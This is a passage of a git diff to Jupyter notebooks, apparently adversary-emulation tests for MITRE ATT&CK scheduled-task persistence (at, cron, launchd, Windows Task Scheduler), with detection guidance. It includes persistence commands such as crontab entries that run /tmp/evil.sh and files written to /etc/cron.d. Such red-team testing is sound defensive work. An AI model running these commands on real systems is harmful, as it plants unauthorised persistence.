command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1053.001.ipynb b/playbook/tactics/privilege-escalation/T1053.001.ipynb deleted file mode 100644 index 82c25ae9..00000000 --- a/playbook/tactics/privilege-escalation/T1053.001.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "3d1e0e93", - "metadata": {}, - "source": "# T1053.001 - At (Linux)\nAdversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)" - }, - { - "cell_type": "markdown", - "id": "91e7739c", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "c70874da", - "metadata": {}, - "source": "## Detection\nMonitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1053.002.ipynb b/playbook/tactics/privilege-escalation/T1053.002.ipynb index fcce279f..74e1a704 100644 --- a/playbook/tactics/privilege-escalation/T1053.002.ipynb +++ b/playbook/tactics/privilege-escalation/T1053.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "569abeb2", + "id": "3d2ed6f6", "metadata": {}, "source": "# T1053.002 - At\nAdversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)" }, { "cell_type": "markdown", - "id": "109851b7", + "id": "071b89b3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b56e9005", + "id": "633618d3", "metadata": {}, "source": [ "### Atomic Test #1 - At.exe Scheduled task", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f80179e3", + "id": "3f7ab8f1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "53ae3153", + "id": "d60f4ee8", "metadata": {}, - "source": "### Atomic Test #2 - At - Schedule a job\nThis test submits a command to be run in the future by the `at` daemon.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: The `at` and `atd` executables must exist in the PATH\n\n##### Check Prereq Commands:\n```sh\nwhich at && which atd\n\n```\n##### Get Prereq Commands:\n```sh\necho 'Please install `at` and `atd`; they were not found in the PATH (Package name: `at`)'\n\n```\n##### Description: The `atd` daemon must be running\n\n##### Check Prereq Commands:\n```sh\nsystemctl status atd || service atd status\n\n```\n##### Get Prereq Commands:\n```sh\necho 'Please start the `atd` daemon (sysv: `service atd start` ; systemd: `systemctl start atd`)'\n\n```" + "source": "### Atomic Test #2 - At - Schedule a job\nThis test submits a command to be run in the future by the `at` daemon.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: The `at` and `atd` executables must exist in the PATH\n\n##### Check Prereq Commands:\n```sh\nif [ \"$(uname)\" = 'FreeBSD' ]; then which at; else which at && which atd; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho 'Please install `at` and `atd`; they were not found in the PATH (Package name: `at`)'\n\n```\n##### Description: The `atd` daemon must be running\n\n##### Check Prereq Commands:\n```sh\nif [ $(uname) = 'Linux' ]; then systemctl status atd || service atd status; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho 'Please start the `atd` daemon (sysv: `service atd start` ; systemd: `systemctl start atd`)'\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2b6f0570", + "id": "2b06f03e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.002 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "3095caeb", + "id": "3b473dd4", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -59,14 +59,14 @@ { "cell_type": "code", "execution_count": null, - "id": "5b7720cf", + "id": "51bf11af", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "e78633f5", + "id": "8e2feed5", "metadata": {}, "source": "## Detection\nMonitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008)." } @@ -74,13 +74,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1053.003.ipynb b/playbook/tactics/privilege-escalation/T1053.003.ipynb index c0614cfa..94ea008f 100644 --- a/playbook/tactics/privilege-escalation/T1053.003.ipynb +++ b/playbook/tactics/privilege-escalation/T1053.003.ipynb @@ -2,53 +2,53 @@ "cells": [ { "cell_type": "markdown", - "id": "fcc1b0bc", + "id": "ba58e87a", "metadata": {}, "source": "# T1053.003 - Cron\nAdversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). " }, { "cell_type": "markdown", - "id": "d7b076fd", + "id": "22b4d44e", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "447b8716", + "id": "baa21a1e", "metadata": {}, "source": [ "### Atomic Test #1 - Cron - Replace crontab with referenced file", "This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.\n", - "**Supported Platforms:** macos, linux", - "#### Attack Commands: Run with `bash`\n", - "```bash\ncrontab -l > /tmp/notevil\necho \"* * * * * /tmp/evil.sh\" > /tmp/persistevil && crontab /tmp/persistevil\n```" + "**Supported Platforms:** linux, macos", + "#### Attack Commands: Run with `sh`\n", + "```sh\ncrontab -l > /tmp/notevil\necho \"* * * * * /tmp/evil.sh\" > /tmp/persistevil && crontab /tmp/persistevil\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "9533fe65", + "id": "86fffc1b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "e7f9f480", + "id": "04e26aab", "metadata": {}, - "source": "#### Cleanup: \n```bash\ncrontab /tmp/notevil\n```" + "source": "#### Cleanup: \n```sh\ncrontab /tmp/notevil\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bb8b3260", + "id": "6f5809ff", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "1e5acda3", + "id": "666a1d5a", "metadata": {}, "source": [ "### Atomic Test #2 - Cron - Add script to all cron subfolders", @@ -62,31 +62,66 @@ { "cell_type": "code", "execution_count": null, - "id": "a23ba894", + "id": "01966209", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "a6e1fb7e", + "id": "39433f99", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm /etc/cron.daily/persistevil\nrm /etc/cron.hourly/persistevil\nrm /etc/cron.monthly/persistevil\nrm /etc/cron.weekly/persistevil\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4a697c61", + "id": "ae4817bd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "3a431a1f", + "id": "25f30fd4", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Cron - Add script to /etc/cron.d folder", + "This test adds a script to /etc/cron.d folder configured to execute on a schedule.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\necho \"echo '*/5 * * * * root echo \"Hello from Atomic Red Team\"' > /tmp/atomic.log\" > /etc/cron.d/persistevil\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5a2f2480", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1053.003 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "9f00c5dd", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /etc/cron.d/persistevil\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "86b94d8a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1053.003 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "cc3cc15d", "metadata": {}, "source": [ - "### Atomic Test #3 - Cron - Add script to /var/spool/cron/crontabs/ folder", + "### Atomic Test #4 - Cron - Add script to /var/spool/cron/crontabs/ folder", "This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -97,28 +132,28 @@ { "cell_type": "code", "execution_count": null, - "id": "11814f01", + "id": "ec2c094e", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1053.003 -TestNumbers 3" + "source": "Invoke-AtomicTest T1053.003 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "1168c551", + "id": "70dd8613", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm /var/spool/cron/crontabs/persistevil\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9888a695", + "id": "d52a4084", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1053.003 -TestNumbers 3 -Cleanup" + "source": "Invoke-AtomicTest T1053.003 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "f75ac1d8", + "id": "98bec305", "metadata": {}, "source": "## Detection\nMonitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. " } @@ -126,13 +161,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1053.004.ipynb b/playbook/tactics/privilege-escalation/T1053.004.ipynb deleted file mode 100644 index fd79bb4b..00000000 --- a/playbook/tactics/privilege-escalation/T1053.004.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "42caf3dc", - "metadata": {}, - "source": "# T1053.004 - Launchd\nThis technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in." - }, - { - "cell_type": "markdown", - "id": "60d96874", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "e7b0be74", - "metadata": {}, - "source": "## Detection\nMonitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1053.005.ipynb b/playbook/tactics/privilege-escalation/T1053.005.ipynb index 78d1432a..0d75f053 100644 --- a/playbook/tactics/privilege-escalation/T1053.005.ipynb +++ b/playbook/tactics/privilege-escalation/T1053.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "05b6de0f", + "id": "3acd96ee", "metadata": {}, "source": "# T1053.005 - Scheduled Task\nAdversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) " }, { "cell_type": "markdown", - "id": "acf840f0", + "id": "2f0b4643", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "e111cda4", + "id": "26537b6f", "metadata": {}, "source": [ "### Atomic Test #1 - Scheduled Task Startup Script", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "e43e4211", + "id": "577a4f1f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b6a6731e", + "id": "ce79a89e", "metadata": {}, "source": "#### Cleanup: \n```cmd\nschtasks /delete /tn \"T1053_005_OnLogon\" /f >nul 2>&1\nschtasks /delete /tn \"T1053_005_OnStartup\" /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "df41f8d3", + "id": "38e7a296", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "8bb9fd39", + "id": "4edee060", "metadata": {}, "source": [ "### Atomic Test #2 - Scheduled task Local", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b00dbe68", + "id": "1f53d16f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "26936e24", + "id": "fb211a72", "metadata": {}, "source": "#### Cleanup: \n```cmd\nSCHTASKS /Delete /TN spawn /F >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9943d425", + "id": "dff8a9a0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "8459113d", + "id": "594c799f", "metadata": {}, "source": [ "### Atomic Test #3 - Scheduled task Remote", @@ -98,28 +98,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f84d9499", + "id": "06a8bdeb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "3ec25427", + "id": "b924c6fb", "metadata": {}, "source": "#### Cleanup: \n```cmd\nSCHTASKS /Delete /S localhost /U DOMAIN\\user /P At0micStrong /TN \"Atomic task\" /F >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f647f593", + "id": "61896aea", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "57320412", + "id": "53c17226", "metadata": {}, "source": [ "### Atomic Test #4 - Powershell Cmdlet Scheduled Task", @@ -133,42 +133,42 @@ { "cell_type": "code", "execution_count": null, - "id": "0b0da722", + "id": "d48802dc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "c032cf39", + "id": "32bcf70b", "metadata": {}, "source": "#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"AtomicTask\" -confirm:$false >$null 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0c3dbf31", + "id": "c6fbe80d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "19607bf5", + "id": "f1104dce", "metadata": {}, "source": "### Atomic Test #5 - Task Scheduler via VBA\nThis module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute \"notepad.exe\" within\n30 - 40 seconds after this module has run\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft #{ms_product} must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n $process = \"Word\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d5d33652", + "id": "6ffe6465", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "62e60a12", + "id": "a0daa022", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -178,42 +178,42 @@ { "cell_type": "code", "execution_count": null, - "id": "c768d178", + "id": "28cfdef2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "a6a47244", + "id": "e6bfc359", "metadata": {}, "source": "#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"Run Notepad\" -Confirm:$false\n```" }, { "cell_type": "code", "execution_count": null, - "id": "22f64883", + "id": "fa76db8f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "0f6a6b1e", + "id": "e9ea8d5d", "metadata": {}, - "source": "### Atomic Test #6 - WMI Invoke-CimMethod Scheduled Task\nCreate an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{xml_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml\" -OutFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml\"\n\n```" + "source": "### Atomic Test #6 - WMI Invoke-CimMethod Scheduled Task\nCreate an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{xml_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml\" -OutFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ca82dbfe", + "id": "85ad70fc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "40c66d45", + "id": "ca24cc23", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -223,28 +223,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5ace0d49", + "id": "e9f05f09", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "344c5862", + "id": "cc505b76", "metadata": {}, "source": "#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"T1053_005_WMI\" -confirm:$false >$null 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0463b5bf", + "id": "7c4c4529", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "48918ea6", + "id": "85463c24", "metadata": {}, "source": [ "### Atomic Test #7 - Scheduled Task Executing Base64 Encoded Commands From Registry", @@ -257,42 +257,42 @@ { "cell_type": "code", "execution_count": null, - "id": "73403dac", + "id": "b67480bd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "7b4dd34c", + "id": "e01e5375", "metadata": {}, "source": "#### Cleanup: \n```cmd\nschtasks /delete /tn \"ATOMIC-T1053.005\" /F >nul 2>&1\nreg delete HKCU\\SOFTWARE\\ATOMIC-T1053.005 /F >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e9cbb6db", + "id": "95d242f1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "8df36f37", + "id": "b5f8aa2b", "metadata": {}, - "source": "### Atomic Test #8 - Import XML Schedule Task with Hidden Attribute\nCreate an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. \nThis technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy 